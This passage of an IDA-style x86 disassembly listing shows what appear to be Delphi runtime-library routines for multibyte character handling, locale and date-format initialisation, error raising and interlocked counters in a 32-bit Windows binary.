; ---------------------------------------------------------------------------


loc_2000AF91:				; CODE XREF: sub_2000AF3C+2Dj
		mov	[esp+10h+var_10], ebx


loc_2000AF94:				; CODE XREF: sub_2000AF3C+10j
					; sub_2000AF3C+47j ...
		mov	eax, [esp+10h+var_10]
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_2000AF3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000AF9C	proc near		; CODE XREF: sub_20008C00+72p
					; sub_2000AFC4+31p ...
		push	ebx
		mov	ebx, eax
		cmp	byte ptr ds:dword_20015760, 0
		jz	short loc_2000AFB2
		push	ebx		; lpsz
		call	CharNextA_0
		sub	eax, ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_2000AFB2:				; CODE XREF: sub_2000AF9C+Aj
		mov	eax, 1
		pop	ebx
		retn
sub_2000AF9C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000AFBC	proc near		; CODE XREF: sub_20008C00+85p
					; sub_20008C00+97p ...
		push	eax		; lpsz
		call	CharNextA_0
		retn
sub_2000AFBC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000AFC4	proc near		; CODE XREF: sub_2000A060+D1p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, 1
		cmp	byte ptr ds:dword_20015760, 0
		jz	short loc_2000AFFA
		mov	dl, [ebx+esi-1]
		and	edx, 0FFh
		bt	ds:dword_2001412C, edx
		jnb	short loc_2000AFFA
		mov	eax, ebx
		call	sub_20004444
		add	eax, esi
		dec	eax
		call	sub_2000AF9C


loc_2000AFFA:				; CODE XREF: sub_2000AFC4+12j
					; sub_2000AFC4+25j
		pop	esi
		pop	ebx
		retn
sub_2000AFC4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_2000B000	proc near		; CODE XREF: sub_200095EC+20p
					; sub_2000ADF0+45p ...
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		lea	eax, [ebx+1]
		cmp	byte ptr ds:dword_20015760, 0
		jz	short loc_2000B036
		mov	dl, [esi+ebx-1]
		and	edx, 0FFh
		bt	ds:dword_2001412C, edx
		jnb	short loc_2000B036
		mov	eax, esi
		call	sub_20004444
		add	eax, ebx
		dec	eax
		call	sub_2000AF9C
		add	eax, ebx


loc_2000B036:				; CODE XREF: sub_2000B000+10j
					; sub_2000B000+23j
		pop	esi
		pop	ebx
		retn
sub_2000B000	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000B03C	proc near		; CODE XREF: sub_200096E4+A6p
					; sub_20010AEC+61p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		xor	edi, edi
		mov	eax, ebx
		call	sub_20004444
		push	eax
		mov	eax, esi
		call	sub_20004444
		mov	ebp, eax
		mov	eax, ebp
		pop	edx
		call	sub_2000B074
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_2000B06A
		mov	edi, ebx
		sub	edi, ebp
		inc	edi


loc_2000B06A:				; CODE XREF: sub_2000B03C+27j
		mov	eax, edi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000B03C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000B074	proc near		; CODE XREF: sub_20009634+30p
					; sub_2000B03C+1Ep

var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebp, edx
		mov	esi, eax
		xor	ebx, ebx
		test	esi, esi
		jz	loc_2000B10A
		cmp	byte ptr [esi],	0
		jz	short loc_2000B10A
		test	ebp, ebp
		jz	short loc_2000B10A
		cmp	byte ptr [ebp+0], 0
		jz	short loc_2000B10A
		mov	eax, esi
		call	sub_200076DC
		mov	[esp+18h+var_18], eax
		mov	eax, ebp
		call	sub_200076DC
		mov	edi, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_20007790
		mov	ebx, eax
		jmp	short loc_2000B0F7
; ---------------------------------------------------------------------------


loc_2000B0B8:				; CODE XREF: sub_2000B074+92j
		mov	edx, ebx
		sub	edx, esi
		mov	eax, esi
		call	sub_2000ADB0
		mov	[esp+18h+var_14], al
		cmp	[esp+18h+var_14], 2
		jz	short loc_2000B0E3
		push	edi		; cchCount2
		push	ebp		; lpString2
		push	edi		; cchCount1
		push	ebx		; lpString1
		push	0		; dwCmpFlags
		push	400h		; Locale
		call	CompareStringA
		cmp	eax, 2
		jz	short loc_2000B10A


loc_2000B0E3:				; CODE XREF: sub_2000B074+58j
		cmp	[esp+18h+var_14], 1
		jnz	short loc_2000B0EB
		inc	ebx


loc_2000B0EB:				; CODE XREF: sub_2000B074+74j
		inc	ebx
		mov	edx, ebp
		mov	eax, ebx
		call	sub_20007790
		mov	ebx, eax


loc_2000B0F7:				; CODE XREF: sub_2000B074+42j
		test	ebx, ebx
		jz	short loc_2000B108
		mov	eax, ebx
		sub	eax, esi
		mov	edx, [esp+18h+var_18]
		sub	edx, eax
		cmp	edi, edx
		jbe	short loc_2000B0B8


loc_2000B108:				; CODE XREF: sub_2000B074+85j
		xor	ebx, ebx


loc_2000B10A:				; CODE XREF: sub_2000B074+Fj
					; sub_2000B074+18j ...
		mov	eax, ebx
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000B074	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000B114	proc near		; CODE XREF: CODE:2000A312p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	edx, ebx
		call	sub_2000B13C
		mov	esi, eax
		test	bl, bl
		jz	short loc_2000B137
		test	eax, eax
		jz	short loc_2000B137


loc_2000B129:				; CODE XREF: sub_2000B114+21j
		mov	esi, eax
		inc	eax
		mov	edx, ebx
		call	sub_2000B13C
		test	eax, eax
		jnz	short loc_2000B129


loc_2000B137:				; CODE XREF: sub_2000B114+Fj
					; sub_2000B114+13j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_2000B114	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000B13C	proc near		; CODE XREF: sub_2000B114+6p
					; sub_2000B114+1Ap
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_2000777C
		mov	edi, eax
		test	edi, edi
		jz	short loc_2000B176


loc_2000B152:				; CODE XREF: sub_2000B13C+38j
		mov	edx, edi
		sub	edx, esi
		mov	eax, esi
		call	sub_2000ADB0
		sub	al, 1
		jb	short loc_2000B176
		jz	short loc_2000B165
		jmp	short loc_2000B166
; ---------------------------------------------------------------------------


loc_2000B165:				; CODE XREF: sub_2000B13C+25j
		inc	edi


loc_2000B166:				; CODE XREF: sub_2000B13C+27j
		inc	edi
		mov	edx, ebx
		mov	eax, edi
		call	sub_2000777C
		mov	edi, eax
		test	edi, edi
		jnz	short loc_2000B152


loc_2000B176:				; CODE XREF: sub_2000B13C+14j
					; sub_2000B13C+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000B13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000B17C	proc near		; CODE XREF: sub_2000B1F0+13p

var_C		= dword	ptr -0Ch
LCData		= byte ptr -7

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_C], edx
		xor	edx, edx
		push	ebp
		push	offset loc_2000B1E0
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7		; cchData
		lea	edx, [ebp+LCData]
		push	edx		; lpLCData
		push	1004h		; LCType
		push	eax		; Locale
		call	GetLocaleInfoA_0
		lea	eax, [ebp+var_C]
		lea	edx, [ebp+LCData]
		mov	ecx, 7
		call	sub_20004218
		mov	eax, [ebp+var_C]
		push	eax
		call	GetACP
		mov	edx, eax
		pop	eax
		call	sub_2000729C
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000B1E7


loc_2000B1D7:				; CODE XREF: sub_2000B17C+69j
		lea	eax, [ebp+var_C]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000B1E0:				; DATA XREF: sub_2000B17C+Fo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000B1D7
; ---------------------------------------------------------------------------


loc_2000B1E7:				; CODE XREF: sub_2000B17C+63j
					; DATA XREF: sub_2000B17C+56o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000B17C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000B1F0	proc near		; CODE XREF: sub_2000B268+93p
					; sub_2000B268+145p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		add	edi, 0FFFFFFECh
		push	edi		; lpCPInfo
		mov	eax, ds:Locale
		call	sub_2000B17C
		push	eax		; CodePage
		call	GetCPInfo
		xor	esi, esi
		jmp	short loc_2000B23B
; ---------------------------------------------------------------------------


loc_2000B212:				; CODE XREF: sub_2000B1F0+58j
		mov	al, [edi+esi+6]
		mov	bl, [edi+esi+7]
		sub	bl, al
		jb	short loc_2000B238
		inc	ebx
		mov	[ebp+var_1], al


loc_2000B222:				; CODE XREF: sub_2000B1F0+46j
		mov	al, [ebp+var_1]
		and	eax, 0FFh
		bts	ds:dword_2001412C, eax
		inc	[ebp+var_1]
		dec	bl
		jnz	short loc_2000B222


loc_2000B238:				; CODE XREF: sub_2000B1F0+2Cj
		add	esi, 2


loc_2000B23B:				; CODE XREF: sub_2000B1F0+20j
		cmp	esi, 0Ch
		jge	short loc_2000B24A
		mov	al, [edi+esi+6]
		or	al, [edi+esi+7]
		jnz	short loc_2000B212


loc_2000B24A:				; CODE XREF: sub_2000B1F0+4Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_2000B1F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000B250	proc near		; CODE XREF: sub_2000B268+76p
		mov	eax, ds:dword_20015758
		cmp	eax, 1Fh
		ja	short loc_2000B261
		bt	ds:dword_20014324, eax


loc_2000B261:				; CODE XREF: sub_2000B250+8j
		setb	al
		retn
sub_2000B250	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000B268	proc near		; CODE XREF: sub_2000B3DC+1Ep

CharType	= word ptr -196h
SrcStr		= byte ptr -94h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE68h
		push	ebx
		push	esi
		push	edi
		mov	ds:Locale, 409h
		mov	ds:dword_20015758, 9
		mov	ds:dword_2001575C, 1
		call	GetThreadLocale_0
		test	eax, eax
		jz	short loc_2000B2A0
		mov	ds:Locale, eax


loc_2000B2A0:				; CODE XREF: sub_2000B268+31j
		test	ax, ax
		jz	short loc_2000B2C0
		mov	edx, eax
		and	dx, 3FFh
		movzx	edx, dx
		mov	ds:dword_20015758, edx
		movzx	eax, ax
		shr	eax, 0Ah
		mov	ds:dword_2001575C, eax


loc_2000B2C0:				; CODE XREF: sub_2000B268+3Bj
		mov	esi, offset dword_2000B3BC
		mov	edi, offset dword_2001412C
		mov	ecx, 8
		rep movsd
		cmp	ds:dword_200140E4, 2
		jnz	loc_2000B385
		call	sub_2000B250
		test	al, al
		jz	short loc_2000B2FA
		mov	byte ptr ds:dword_20015760+1, 0
		mov	byte ptr ds:dword_20015760, 0
		jmp	loc_2000B3B3
; ---------------------------------------------------------------------------


loc_2000B2FA:				; CODE XREF: sub_2000B268+7Dj
		push	ebp
		call	sub_2000B1F0
		pop	ecx
		mov	eax, offset dword_2001412C
		mov	edx, offset dword_2000B3BC
		mov	cl, 20h
		call	sub_2000305C
		setnz	bl
		mov	byte ptr ds:dword_20015760, bl
		test	bl, bl
		jz	short loc_2000B32B
		mov	byte ptr ds:dword_20015760+1, 0
		jmp	loc_2000B3B3
; ---------------------------------------------------------------------------


loc_2000B32B:				; CODE XREF: sub_2000B268+B5j
		mov	eax, 80h
		lea	edx, [ebp+SrcStr]


loc_2000B336:				; CODE XREF: sub_2000B268+D7j
		mov	[edx], al
		inc	eax
		inc	edx
		cmp	eax, 100h
		jnz	short loc_2000B336
		lea	eax, [ebp+SrcStr]
		lea	edx, [ebp+CharType]
		push	edx		; lpCharType
		push	80h		; cchSrc
		push	eax		; lpSrcStr
		push	2		; dwInfoType
		mov	eax, ds:Locale
		push	eax		; Locale
		call	GetStringTypeExA
		mov	eax, 80h
		lea	edx, [ebp+CharType]


loc_2000B36C:				; CODE XREF: sub_2000B268+119j
		cmp	word ptr [edx],	2
		setz	cl
		mov	byte ptr ds:dword_20015760+1, cl
		test	cl, cl
		jnz	short loc_2000B3B3
		add	edx, 2
		dec	eax
		jnz	short loc_2000B36C
		jmp	short loc_2000B3B3
; ---------------------------------------------------------------------------


loc_2000B385:				; CODE XREF: sub_2000B268+70j
		push	4Ah		; nIndex
		call	GetSystemMetrics
		test	eax, eax
		setnz	al
		mov	byte ptr ds:dword_20015760+1, al
		push	2Ah		; nIndex
		call	GetSystemMetrics
		test	eax, eax
		setnz	bl
		mov	byte ptr ds:dword_20015760, bl
		test	bl, bl
		jz	short loc_2000B3B3
		push	ebp
		call	sub_2000B1F0
		pop	ecx


loc_2000B3B3:				; CODE XREF: sub_2000B268+8Dj
					; sub_2000B268+BEj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000B268	endp

; ---------------------------------------------------------------------------
		align 4
dword_2000B3BC	dd 8 dup(0)		; DATA XREF: sub_2000B268:loc_2000B2C0o
					; sub_2000B268+9Eo

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000B3DC	proc near		; CODE XREF: CODE:2000C151p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_2000B3E4:				; CODE XREF: sub_2000B3DC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_2000B3E4
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_2000B6A7
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_2000B268
		call	sub_20009DD8
		cmp	byte ptr ds:dword_20015760, 0
		jz	short loc_2000B412
		call	sub_20009FB0


loc_2000B412:				; CODE XREF: sub_2000B3DC+2Fj
		call	GetThreadLocale_0
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		xor	ecx, ecx
		mov	edx, 14h
		mov	eax, ebx
		call	sub_20009D28
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_20015694
		call	sub_20003FFC
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset dword_2000B6BC
		mov	edx, 1Bh
		mov	eax, ebx
		call	sub_20009D28
		mov	eax, [ebp+var_14]
		xor	edx, edx
		call	sub_2000729C
		mov	ds:byte_20015698, al
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset dword_2000B6BC
		mov	edx, 1Ch
		mov	eax, ebx
		call	sub_20009D28
		mov	eax, [ebp+var_18]
		xor	edx, edx
		call	sub_2000729C
		mov	ds:byte_20015699, al
		mov	cl, 2Ch
		mov	edx, 0Fh
		mov	eax, ebx
		call	sub_20009D74
		mov	ds:byte_2001569A, al
		mov	cl, 2Eh
		mov	edx, 0Eh
		mov	eax, ebx
		call	sub_20009D74
		mov	ds:byte_2001569B, al
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, offset dword_2000B6BC
		mov	edx, 19h
		mov	eax, ebx
		call	sub_20009D28
		mov	eax, [ebp+var_1C]
		xor	edx, edx
		call	sub_2000729C
		mov	ds:byte_2001569C, al
		mov	cl, 2Fh
		mov	edx, 1Dh
		mov	eax, ebx
		call	sub_20009D74
		mov	ds:byte_2001569D, al
		lea	eax, [ebp+var_24]
		push	eax
		mov	ecx, offset dword_2000B6C8
		mov	edx, 1Fh
		mov	eax, ebx
		call	sub_20009D28
		mov	eax, [ebp+var_24]
		lea	edx, [ebp+var_20]
		call	sub_2000A060
		mov	edx, [ebp+var_20]
		mov	eax, offset dword_200156A0
		call	sub_20003FFC
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, offset dword_2000B6D8
		mov	edx, 20h
		mov	eax, ebx
		call	sub_20009D28
		mov	eax, [ebp+var_2C]
		lea	edx, [ebp+var_28]
		call	sub_2000A060
		mov	edx, [ebp+var_28]
		mov	eax, offset dword_200156A4
		call	sub_20003FFC
		mov	cl, 3Ah
		mov	edx, 1Eh
		mov	eax, ebx
		call	sub_20009D74
		mov	ds:byte_200156A8, al
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, offset dword_2000B6F0
		mov	edx, 28h
		mov	eax, ebx
		call	sub_20009D28
		mov	edx, [ebp+var_30]
		mov	eax, offset dword_200156AC
		call	sub_20003FFC
		lea	eax, [ebp+var_34]
		push	eax
		mov	ecx, offset dword_2000B6FC
		mov	edx, 29h
		mov	eax, ebx
		call	sub_20009D28
		mov	edx, [ebp+var_34]
		mov	eax, offset dword_200156B0
		call	sub_20003FFC
		lea	eax, [ebp+var_8]
		call	sub_20003FA8
		lea	eax, [ebp+var_C]
		call	sub_20003FA8
		lea	eax, [ebp+var_38]
		push	eax
		mov	ecx, offset dword_2000B6BC
		mov	edx, 25h
		mov	eax, ebx
		call	sub_20009D28
		mov	eax, [ebp+var_38]
		xor	edx, edx
		call	sub_2000729C
		test	eax, eax
		jnz	short loc_2000B5D0
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_2000B708
		call	sub_20004040
		jmp	short loc_2000B5DD
; ---------------------------------------------------------------------------


loc_2000B5D0:				; CODE XREF: sub_2000B3DC+1E3j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_2000B714
		call	sub_20004040


loc_2000B5DD:				; CODE XREF: sub_2000B3DC+1F2j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, offset dword_2000B6BC
		mov	edx, 23h
		mov	eax, ebx
		call	sub_20009D28
		mov	eax, [ebp+var_3C]
		xor	edx, edx
		call	sub_2000729C
		test	eax, eax
		jnz	short loc_2000B63F
		lea	eax, [ebp+var_40]
		push	eax
		mov	ecx, offset dword_2000B6BC
		mov	edx, 1005h
		mov	eax, ebx
		call	sub_20009D28
		mov	eax, [ebp+var_40]
		xor	edx, edx
		call	sub_2000729C
		test	eax, eax
		jnz	short loc_2000B632
		lea	eax, [ebp+var_C]
		mov	edx, offset dword_2000B720
		call	sub_20004040
		jmp	short loc_2000B63F
; ---------------------------------------------------------------------------


loc_2000B632:				; CODE XREF: sub_2000B3DC+245j
		lea	eax, [ebp+var_8]
		mov	edx, offset dword_2000B730
		call	sub_20004040


loc_2000B63F:				; CODE XREF: sub_2000B3DC+222j
					; sub_2000B3DC+254j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_2000B740
		push	[ebp+var_C]
		mov	eax, offset dword_200156B4
		mov	edx, 4
		call	sub_20004304
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_2000B74C
		push	[ebp+var_C]
		mov	eax, offset dword_200156B8
		mov	edx, 4
		call	sub_20004304
		mov	cl, 2Ch
		mov	edx, 0Ch
		mov	eax, ebx
		call	sub_20009D74
		mov	byte ptr ds:dword_20015760+2, al
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000B6AE


loc_2000B699:				; CODE XREF: sub_2000B3DC+2D0j
		lea	eax, [ebp+var_40]
		mov	edx, 10h
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_2000B6A7:				; DATA XREF: sub_2000B3DC+13o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000B699
; ---------------------------------------------------------------------------


loc_2000B6AE:				; CODE XREF: sub_2000B3DC+2CAj
					; DATA XREF: sub_2000B3DC+2B8o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000B3DC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_2000B6BC	dd 30h,	0FFFFFFFFh, 6	; DATA XREF: sub_2000B3DC+60o
					; sub_2000B3DC+84o ...
dword_2000B6C8	dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_2000B3DC+105o
dword_2000B6D8	dd 6D6D6D6Dh, 202C6420h, 79797979h, 0 ;	DATA XREF: sub_2000B3DC+132o
		dd 0FFFFFFFFh, 2
dword_2000B6F0	dd 6D61h, 0FFFFFFFFh, 2	; DATA XREF: sub_2000B3DC+172o
dword_2000B6FC	dd 6D70h, 0FFFFFFFFh, 1	; DATA XREF: sub_2000B3DC+194o
dword_2000B708	dd 68h,	0FFFFFFFFh, 2	; DATA XREF: sub_2000B3DC+1E8o
dword_2000B714	dd 6868h, 0FFFFFFFFh, 5	; DATA XREF: sub_2000B3DC+1F7o
dword_2000B720	dd 504D4120h, 4Dh, 0FFFFFFFFh, 5 ; DATA	XREF: sub_2000B3DC+24Ao
dword_2000B730	dd 4D504D41h, 20h, 0FFFFFFFFh, 3 ; DATA	XREF: sub_2000B3DC+259o
dword_2000B740	dd 6D6D3Ah, 0FFFFFFFFh,	6 ; DATA XREF: sub_2000B3DC+269o
dword_2000B74C	dd 3A6D6D3Ah, 7373h	; DATA XREF: sub_2000B3DC+286o
; [00000006 BYTES: COLLAPSED FUNCTION Sleep. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000B75C	proc near		; CODE XREF: sub_2000B7F8+7p
					; sub_20012540+28p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		xor	eax, eax
		mov	[ebp+var_14], eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000B7EC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	GetLastError_0
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_2000B7B8
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], 0
		lea	edx, [ebp+var_14]
		mov	eax, ebx
		call	sub_20009CDC
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0Bh
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		mov	ecx, ds:off_20014514
		mov	dl, 1
		mov	eax, off_20006C90
		call	sub_2000A5DC
		mov	edx, eax
		jmp	short loc_2000B7CC
; ---------------------------------------------------------------------------


loc_2000B7B8:				; CODE XREF: sub_2000B75C+23j
		mov	ecx, ds:off_2001457C
		mov	dl, 1
		mov	eax, off_20006C90
		call	sub_2000A5A0
		mov	edx, eax


loc_2000B7CC:				; CODE XREF: sub_2000B75C+5Aj
		mov	[edx+0Ch], ebx
		mov	eax, edx
		call	sub_20003A08
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000B7F3


loc_2000B7E3:				; CODE XREF: sub_2000B75C+95j
		lea	eax, [ebp+var_14]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000B7EC:				; DATA XREF: sub_2000B75C+Fo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000B7E3
; ---------------------------------------------------------------------------


loc_2000B7F3:				; CODE XREF: sub_2000B75C+8Fj
					; DATA XREF: sub_2000B75C+82o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000B75C	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000B7F8	proc near		; CODE XREF: sub_20011A8C+1Ep
		push	ebx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_2000B804
		call	sub_2000B75C


loc_2000B804:				; CODE XREF: sub_2000B7F8+5j
		mov	eax, ebx
		pop	ebx
		retn
sub_2000B7F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000B808	proc near		; CODE XREF: CODE:2000BFA3p
		push	ebx
		mov	ebx, offset dword_20014328
		jmp	short loc_2000B820
; ---------------------------------------------------------------------------


loc_2000B810:				; CODE XREF: sub_2000B808+1Bj
		mov	eax, [ebx]
		mov	edx, [eax]
		mov	[ebx], edx
		mov	edx, 8
		call	sub_20002688


loc_2000B820:				; CODE XREF: sub_2000B808+6j
		cmp	dword ptr [ebx], 0
		jnz	short loc_2000B810
		pop	ebx
		retn
sub_2000B808	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000B828	proc near		; CODE XREF: CODE:2000C14Cp
		push	ebx
		push	offset aKernel32_dll ; "kernel32.dll"
		call	GetModuleHandleA_1
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_2000B849
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	ebx		; hModule
		call	GetProcAddress_0
		mov	ds:dword_20014150, eax


loc_2000B849:				; CODE XREF: sub_2000B828+Fj
		cmp	ds:dword_20014150, 0
		jnz	short loc_2000B85C
		mov	eax, offset sub_20007668
		mov	ds:dword_20014150, eax


loc_2000B85C:				; CODE XREF: sub_2000B828+28j
		pop	ebx
		retn
sub_2000B828	endp

; ---------------------------------------------------------------------------
		align 10h
; char aKernel32_dll[]
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_2000B828+1o
		align 10h
; char aGetdiskfreespa[]
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_2000B828+11o

; =============== S U B	R O U T	I N E =======================================



sub_2000B884	proc near		; CODE XREF: sub_2000BADC+3Ap
					; sub_2000BADC+86p ...
		mov	edx, 1
		xchg	eax, edx
		lock xadd [edx], eax
		inc	eax
		retn
sub_2000B884	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000B890	proc near		; CODE XREF: sub_2000BADC+7Bp
					; CODE:2000BC25p
		mov	edx, 0FFFFFFFFh
		xchg	eax, edx
		lock xadd [edx], eax
		dec	eax
		retn
sub_2000B890	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000B89C	proc near		; CODE XREF: sub_2000B914+64p
					; sub_2000B99C+1Fp
		xchg	edx, [eax]
		mov	eax, edx
		retn
sub_2000B89C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000B8A4	proc near		; CODE XREF: sub_2000BADC+49p
					; sub_2000BADC+61p ...
		xchg	eax, edx
		lock xadd [edx], eax
		retn
sub_2000B8A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000B8AC	proc near		; DATA XREF: CODE:20006DE4o
		push	ebx
		push	esi
		push	edi
		push	ebp
		call	sub_200037A4
		mov	ebx, edx
		mov	edi, eax
		xor	esi, esi


loc_2000B8BB:				; CODE XREF: sub_2000B8AC+2Fj
		mov	ebp, [edi+esi*4+4]
		xor	eax, eax
		mov	[edi+esi*4+4], eax
		test	ebp, ebp
		jz	short loc_2000B8D7


loc_2000B8C9:				; CODE XREF: sub_2000B8AC+29j
		mov	eax, ebp
		mov	ebp, [ebp+0]
		call	sub_20002688
		test	ebp, ebp
		jnz	short loc_2000B8C9


loc_2000B8D7:				; CODE XREF: sub_2000B8AC+1Bj
		inc	esi
		cmp	esi, 10h
		jnz	short loc_2000B8BB
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, edi
		call	sub_200034E4
		test	bl, bl
		jle	short loc_2000B8F4
		mov	eax, edi
		call	sub_2000378C


loc_2000B8F4:				; CODE XREF: sub_2000B8AC+3Fj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000B8AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000B8FC	proc near		; CODE XREF: sub_2000B914+Cp
					; sub_2000B99C+5p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		call	GetCurrentThreadId_0
		mov	[ebp+var_2], ax
		mov	al, byte ptr [ebp+var_2]
		xor	al, byte ptr [ebp+var_2+1]
		and	al, 0Fh
		pop	ecx
		pop	ebp
		retn
sub_2000B8FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000B914	proc near		; CODE XREF: sub_2000BADC+24p
					; CODE:2000BB81p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	[esp+14h+var_14], edx
		mov	edi, eax
		mov	eax, edi
		call	sub_2000B8FC
		mov	ebx, eax
		call	GetCurrentThreadId_0
		mov	esi, eax
		xor	eax, eax
		mov	al, bl
		mov	ebp, [edi+eax*4+4]
		jmp	short loc_2000B93B
; ---------------------------------------------------------------------------


